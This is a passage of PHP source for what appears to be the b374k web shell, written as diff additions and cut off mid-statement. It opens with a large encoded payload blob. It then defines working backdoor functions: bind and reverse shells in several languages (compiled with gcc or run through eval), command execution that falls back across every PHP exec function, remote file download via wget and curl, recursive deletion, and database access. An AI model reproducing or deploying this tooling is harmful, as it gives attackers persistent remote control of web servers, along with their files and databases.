"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"; + +// make link for folder $s_cwd and all of its parent folder +function swd($s_p){ + global $s_self; + $s_ps = explode(DIRECTORY_SEPARATOR,$s_p); + $s_pu = ""; + for($s_i = 0 ; $s_i < sizeof($s_ps)-1 ; $s_i++){ + $s_pz = ""; + for($s_j = 0 ; $s_j <= $s_i ; $s_j++) $s_pz .= $s_ps[$s_j].DIRECTORY_SEPARATOR; + $s_pu .= "".$s_ps[$s_i]." ".DIRECTORY_SEPARATOR." "; + } + return trim($s_pu); +} +// htmlspecialchars, < > " +function hss($s_t){ + $s_n = array(">","<","\""); + $s_y = array(">", "<", """); + return str_replace($s_n,$s_y,$s_t); +} +// remove
tags +function rp($s_t){ + return trim(str_replace("
","",$s_t)); +} +// replace spaces with underscore ( _ ) +function cs($s_t){ + return str_replace(" ","_",$s_t); +} +// strip slashes,trim and urldecode +function ss($s_t){ + return (!get_magic_quotes_gpc())? trim(urldecode($s_t)) : trim(urldecode(stripslashes($s_t))); +} +// only strip slashes +function ssc($s_t){ + return (!get_magic_quotes_gpc())? trim($s_t) : trim(stripslashes($s_t)); +} +// bind and reverse shell +function rs($s_rstype,$s_rstarget,$s_rscode){ + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + //resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php + $s_result = ""; + $s_fpath = ""; + $s_fc = gzinflate(base64_decode($s_rscode)); + + $s_errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one"; + $s_errgcc = "Unable to compile using gcc"; + + $s_split = explode("_",$s_rstype); + $s_method = $s_split[0]; + $s_lang = $s_split[1]; + if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb"){ + if($s_lang=="py") $s_runlang = "python"; + elseif($s_lang=="pl") $s_runlang = "perl"; + elseif($s_lang=="rb") $s_runlang = "ruby"; + $s_fpath = "b374k_rs.".$s_lang; + if(is_file($s_fpath)) unlink($s_fpath); + if($s_file=fopen($s_fpath,"w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath)){ + $s_result = exe("chmod +x ".$s_fpath); + $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="c"){ + $s_fpath = "b374k_rs"; + if(is_file($s_fpath)) unlink($s_fpath); + if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); + if($s_file=fopen($s_fpath.".c","w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath.".c")){ + $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); + if(is_file($s_fpath)){ + $s_result = exe("chmod +x ".$s_fpath); + $s_result = exe("./".$s_fpath." ".$s_rstarget); + } + else $s_result = $s_errgcc; + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="win"){ + $s_fpath = "b374k_rs.exe"; + if(is_file($s_fpath)) unlink($s_fpath); + if($s_file=fopen($s_fpath,"w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath)){ + $s_result = exe($s_fpath." ".$s_rstarget); + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="php"){ + $s_result = eval("?>".$s_fc); + } + if(is_file($s_fpath)) unlink($s_fpath); + if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); + return $s_result; +} +// format bit +function ts($s_s){ + if($s_s<=0) return 0; + $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); + $s_e = floor(log($s_s)/log(1024)); + return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); +} +// get file size +function gs($s_f){ + $s_s = @filesize($s_f); + if($s_s !== false){ + if($s_s<=0) return 0; + return ts($s_s); + } + else return "???"; +} +// get file permissions +function gp($s_f){ + if($s_m=@fileperms($s_f)){ + $s_p = 'u'; + if(($s_m & 0xC000) == 0xC000)$s_p = 's'; + elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l'; + elseif(($s_m & 0x8000) == 0x8000)$s_p = '-'; + elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b'; + elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd'; + elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c'; + elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p'; + $s_p .= ($s_m & 00400) ? 'r' : '-'; + $s_p .= ($s_m & 00200) ? 'w' : '-'; + $s_p .= ($s_m & 00100) ? 'x' : '-'; + $s_p .= ($s_m & 00040) ? 'r' : '-'; + $s_p .= ($s_m & 00020) ? 'w' : '-'; + $s_p .= ($s_m & 00010) ? 'x' : '-'; + $s_p .= ($s_m & 00004) ? 'r' : '-'; + $s_p .= ($s_m & 00002) ? 'w' : '-'; + $s_p .= ($s_m & 00001) ? 'x' : '-'; + return $s_p; + } + else return "???????????"; +} +// shell command +function exe($s_c){ + $s_out = ""; + $s_c = $s_c." 2>&1"; + + if(is_callable('system')) { + ob_start(); + @system($s_c); + $s_out = ob_get_contents(); + ob_end_clean(); + if(!empty($s_out)) return $s_out; + } + if(is_callable('shell_exec')){ + $s_out = @shell_exec($s_c); + if(!empty($s_out)) return $s_out; + } + if(is_callable('exec')) { + @exec($s_c,$s_r); + if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; + if(!empty($s_out)) return $s_out; + } + if(is_callable('passthru')) { + ob_start(); + @passthru($s_c); + $s_out = ob_get_contents(); + ob_end_clean(); + if(!empty($s_out)) return $s_out; + } + if(is_callable('proc_open')) { + $s_descriptorspec = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") + ); + $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); + if (is_resource($s_proc)) { + while ($s_si = fgets($s_pipes[1])) { + if(!empty($s_si)) $s_out .= $s_si; + } + while ($s_se = fgets($s_pipes[2])) { + if(!empty($s_se)) $s_out .= $s_se; + } + } + @proc_close($s_proc); + if(!empty($s_out)) return $s_out; + } + if(is_callable('popen')){ + $s_f = @popen($s_c, 'r'); + if($s_f){ + while(!feof($s_f)){ + $s_out .= fread($s_f, 2096); + } + pclose($s_f); + } + if(!empty($s_out)) return $s_out; + } + return ""; +} +// add slash to the end of given path +function cp($s_p){ + if(is_dir($s_p)){ + $s_x = DIRECTORY_SEPARATOR; + while(substr($s_p,-1) == $s_x) $s_p = rtrim($s_p,$s_x); + return $s_p.$s_x; + } + return $s_p; +} +// delete dir and all of its content (no warning !) xp +function rmdirs($s_d){ + $s_f = glob($s_d . '*', GLOB_MARK); + foreach($s_f as $s_z){ + if(is_dir($s_z)) rmdirs($s_z); + else unlink($s_z); + } + if(is_dir($s_d)) rmdir($s_d); +} +// get array of all files from given directory +function getallfiles($s_dir){ + $s_f = glob($s_dir . '*'); + for($s_i = 0; $s_i < count($s_f); $s_i++){ + if(is_dir($s_f[$s_i])) { + $s_a = glob($s_f[$s_i].DIRECTORY_SEPARATOR.'*'); + $s_f = array_merge($s_f, $s_a); + } + } + return $s_f; +} +// which command +function xwhich($s_pr){ + $s_p = exe("which $s_pr"); + if(trim($s_p)!="") { return trim($s_p); } else { return trim($s_pr); } +} +// download file from internet +function dlfile($s_u,$s_p){ + $s_n = basename($s_u); + + // try using php functions + if($s_t = @file_get_contents($s_u)){ + if(is_file($s_p)) unlink($s_p);; + if($s_f=fopen($s_p,"w")){ + fwrite($s_f,$s_t); + fclose($s_f); + if(is_file($s_p)) return true; + } + } + // using wget + exe(xwhich('wget')." ".$s_u." -O ".$s_p); + if(is_file($s_p)) return true; + + // try using lwp-download + exe(xwhich('lwp-download')." ".$s_u." ".$s_p); + if(is_file($s_p)) return true; + + // try using lynx + exe(xwhich('lynx')." -source ".$s_u." > ".$s_p); + if(is_file($s_p)) return true; + + // try using curl + exe(xwhich('curl')." ".$s_u." -o ".$s_p); + if(is_file($s_p)) return true; + + return false; +} +// find writable dir +function get_writabledir(){ + if(is_writable(".")) $s_d = ".".DIRECTORY_SEPARATOR; + else{ + if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMPDIR")){ + if(is_writable("/tmp")) $s_d = "/tmp/"; + else $s_d = getcwd().DIRECTORY_SEPARATOR; + } + } + return $s_d; +} +// zip function +function zip($s_src, $s_dest){ + if(!extension_loaded('zip') || !file_exists($s_src)) return false; + + if(class_exists("ZipArchive")){ + $s_zip = new ZipArchive(); + if(!$s_zip->open($s_dest, 1)) return false; + + $s_src = str_replace('\\', '/', $s_src); + if(is_dir($s_src)){ + $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); + foreach($s_files as $s_file){ + $s_file = str_replace('\\', '/', $s_file); + if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue; + if (is_dir($s_file) === true) $s_zip->addEmptyDir(str_replace($s_src . '/', '', $s_file . '/')); + else if (is_file($s_file) === true) $s_zip->addFromString(str_replace($s_src . '/', '', $s_file), @file_get_contents($s_file)); + } + } + elseif(is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src)); + $s_zip->close(); + return true; + } +} +// check shell permission to access program +function check_access($s_lang){ + $s_s = 0; + switch($s_lang){ + case "python": + $s_cek = strtolower(exe("python -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "perl": + $s_cek = strtolower(exe("perl -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "ruby": + $s_cek = strtolower(exe("ruby -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "gcc": + $s_cek = strtolower(exe("gcc --help")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "tar": + $s_cek = strtolower(exe("tar --help")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "java": + $s_cek = strtolower(exe("javac --help")); + if(strpos($s_cek,"usage")!==false){ + $s_cek = strtolower(exe("java -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + } + break; + } + return $s_s; +} +// find available archiver +function get_archiver_available(){ + global $s_self, $s_tar; + $s_dlfile = ""; + $s_avail_arc = array("raw" => "raw"); + + if(class_exists("ZipArchive")){ + $s_avail_arc["ziparchive"] = "zip"; + } + if($s_tar){ + $s_avail_arc["tar"] = "tar"; + $s_avail_arc["targz"] = "tar.gz"; + } + + $s_option_arc = ""; + foreach($s_avail_arc as $s_t => $s_u){ + $s_option_arc .= ""; + } + + $s_dlfile .= "
+ + +
+ "; + return $s_dlfile; +} +// explorer, return a table of given dir +function showdir($s_cwd){ + global $s_self; + + $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + $s_win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false; + + $s_fname = array(); + $s_dname = array(); + + if(function_exists("scandir") && $s_dh = @scandir($s_cwd)){ + foreach($s_dh as $s_file){ + if(is_dir($s_file)) $s_dname[] = $s_file; + elseif(is_file($s_file)) $s_fname[] = $s_file; + } + } + else{ + if($s_dh = @opendir($s_cwd)){ + while($s_file = readdir($s_dh)){ + if(is_dir($s_file)) $s_dname[] = $s_file; + elseif(is_file($s_file))$s_fname[] = $s_file; + } + closedir($s_dh); + } + } + + sort($s_fname); + sort($s_dname); + $s_list = array_merge($s_dname,$s_fname); + + if($s_win){ + //check if this root directory + chdir(".."); + if(cp(getcwd())==cp($s_cwd)){ + array_unshift($s_list, "."); + } + chdir($s_cwd); + } + + $s_path = explode(DIRECTORY_SEPARATOR,$s_cwd); + $s_tree = sizeof($s_path); + + $s_parent = ""; + if($s_tree > 2) for($s_i=0;$s_i<$s_tree-2;$s_i++) $s_parent .= $s_path[$s_i].DIRECTORY_SEPARATOR; + else $s_parent = $s_cwd; + + $s_owner_html = (!$s_win && $s_posix) ? "owner:group" : ""; + $s_colspan = (!$s_win && $s_posix) ? "6" : "5"; + $s_buff = " + + ".$s_owner_html." + "; + + $s_arc = get_archiver_available(); + foreach($s_list as $s_l){ + if(!$s_win && $s_posix){ + $s_name = posix_getpwuid(fileowner($s_l)); + $s_group = posix_getgrgid(filegroup($s_l)); + $s_owner = $s_name['name'].":".$s_group['name']; + $s_owner_html = ""; + } + + $s_lhref = ""; + $s_lname = ""; + $s_laction = ""; + if(is_dir($s_l)){ + if($s_l=="."){ + $s_lhref = $s_self."cd=".$s_cwd; + $s_lsize = "LINK"; + $s_laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + elseif($s_l==".."){ + $s_lhref = $s_self."cd=".$s_parent; + $s_lsize = "LINK"; + $s_laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + else{ + $s_lhref = $s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR; + $s_lsize = "DIR"; + $s_laction = " + + find | + upl | + ren | + del + +
+
+ + + + + + +
"; + } + $s_lname = "[ ".$s_l." ]"; + $s_lsizetit = "0"; + } + else{ + $s_lhref = $s_self."view=".$s_l; + $s_lname = $s_l; + $s_lsize = gs($s_l); + $s_lsizetit = @filesize($s_l); + $s_laction = " +
+
+ + + + + +
+ + edit | + hex | + ren | + del + "; + } + + if(($s_l!='.')&&($s_l!='..')){ + $s_cboxes = " + + "; + } + else $s_cboxes = "~"; + $s_ldl = str_replace("__dlpath__",$s_l,$s_arc); + $s_buff .= " + + + + + ".$s_owner_html." + + + + "; + } + + $s_buff .= " + + + +
namesizepermsmodifiedactiondownload
".$s_owner."
".$s_cboxes." + ".$s_lname." + ".$s_lsize."".gp($s_l)."".@date("d-M-Y H:i:s",filemtime($s_l))."".$s_laction."".$s_ldl."
+
+ + +
+ +
+ "; + return $s_buff; +} +//database related functions +function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost,$s_sqluser,$s_sqlpass); + elseif(function_exists('sqlsrv_connect')){ + $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); + return @sqlsrv_connect($s_sqlhost,$s_coninfo); + } + } + elseif($s_sqltype == 'pgsql'){ + $s_hosts = explode(":", $s_sqlhost); + if(count($s_hosts)==2){ + $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; + } + else $s_host_str = "host=".$s_sqlhost; + if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); + } + elseif($s_sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($s_sqluser,$s_sqlpass,$s_sqlhost);} + elseif($s_sqltype == 'sqlite3'){ + if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); + else return false; + } + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} + elseif($s_sqltype == 'pdo'){ + if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost,$s_sqluser,$s_sqlpass); + else return false; + } +} +function sql_query($s_sqltype, $s_query, $s_con){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($s_query);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_query')) return mssql_query($s_query); + elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($s_query);} + elseif($s_sqltype == 'oracle'){ + if(function_exists('oci_parse') && function_exists('oci_execute')){ + $s_st = oci_parse($s_con, $s_query); + oci_execute($s_st); + return $s_st; + } + } + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->query($s_query);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($s_con, $s_query);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($s_con, $s_query);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con->query($s_query);} +} +function sql_num_fields($s_sqltype, $s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil); + elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($s_hasil);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->numColumns();} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($s_hasil);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->columnCount();} +} +function sql_field_name($s_sqltype,$s_hasil,$s_i){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i); + elseif(function_exists('sqlsrv_field_metadata')){ + $s_metadata = sqlsrv_field_metadata($s_hasil); + if(is_array($s_metadata)){ + $s_metadata=$s_metadata[$s_i]; + } + if(is_array($s_metadata)) return $s_metadata['Name']; + } + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($s_hasil,$s_i+1);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->columnName($s_i);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($s_hasil,$s_i+1);} + elseif($s_sqltype == 'pdo'){ + if(class_exists('PDO')){ + $s_res = $s_hasil->getColumnMeta($s_i); + return $s_res['name']; + } + } +} +function sql_fetch_data($s_sqltype,$s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil); + elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($s_hasil);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->fetchArray(1);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($s_hasil,1);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->fetch(2);} +} +function sql_num_rows($s_sqltype,$s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil); + elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($s_hasil);} + elseif($s_sqltype == 'sqlite3'){ + if(class_exists('SQLite3')){ + $s_metadata = $s_hasil->fetchArray(); + if(is_array($s_metadata)) return $s_metadata['count']; + } + } + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($s_hasil);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->rowCount();} +} +function sql_close($s_sqltype,$s_con){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($s_con);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_close')) return mssql_close($s_con); + elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($s_con);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($s_con);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->close();} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($s_con);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($s_con);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con = null;} +} +if(!function_exists('str_split')){ + function str_split($s_t,$s_s=1){ + $s_a = array(); + for($s_i=0;$s_i[ "; + if ($s_letter.":" != $s_v) {$s_letters .= $s_letter;} + else {$s_letters .= "".$s_letter."";} + $s_letters .= " ] "; + } + } + } + // prompt style.. + $s_prompt = $s_user." >"; + // check for posix + $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + // server ip + $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + // your ip ;-) + $s_my_ip = $_SERVER['REMOTE_ADDR']; + $s_result = ""; + + global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar; + // check python + if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];} + else{ + $s_python = check_access("python"); + setcookie("s_python", $s_python ,time() + $s_login_time); + } + $s_python = ($s_python=="1")?true:false; + + // check perl + if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];} + else{ + $s_perl = check_access("perl"); + setcookie("s_perl", $s_perl ,time() + $s_login_time); + } + $s_perl = ($s_perl=="1")?true:false; + + // check ruby + if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];} + else{ + $s_ruby = check_access("ruby"); + setcookie("s_ruby", $s_ruby ,time() + $s_login_time); + } + $s_ruby = ($s_ruby=="1")?true:false; + + // check gcc + if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];} + else{ + $s_gcc = check_access("gcc"); + setcookie("s_gcc", $s_gcc ,time() + $s_login_time); + } + $s_gcc = ($s_gcc=="1")?true:false; + + // check java + if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];} + else{ + $s_java = check_access("java"); + setcookie("s_java", $s_java ,time() + $s_login_time); + } + $s_java = ($s_java=="1")?true:false; + + // check tar + if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];} + else{ + $s_tar = check_access("tar"); + setcookie("s_tar", $s_tar ,time() + $s_login_time); + } + $s_tar = ($s_tar=="1")?true:false; + + if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){ + $s_dltype = ss($_REQUEST['dltype']); + $s_dlpath = ss($_REQUEST['dlpath']); + + $s_dlname = basename($s_dlpath); + if($s_dlpath==".") $s_dlname=basename($s_cwd); + elseif($s_dlpath==".."){ + chdir(".."); + $s_dlname=basename(getcwd()); + chdir($s_cwd); + } + $s_tmpdir = get_writabledir(); + $s_dlarchive = $s_tmpdir.$s_dlname; + $s_dlthis = ""; + if($s_dltype=="ziparchive"){ + $s_dlarchive .= ".zip"; + if(zip($s_dlpath,$s_dlarchive)){ + $s_dlthis = $s_dlarchive; + } + } + elseif($s_dltype=="tar"){ + $s_dlarchive .= ".tar"; + $s_dlarchive = str_replace('\\', '/', $s_dlarchive); + exe("tar cf ".$s_dlarchive." ".$s_dlpath); + $s_dlthis = $s_dlarchive; + } + elseif($s_dltype=="targz"){ + $s_dlarchive .= ".tar.gz"; + $s_dlarchive = str_replace('\\', '/', 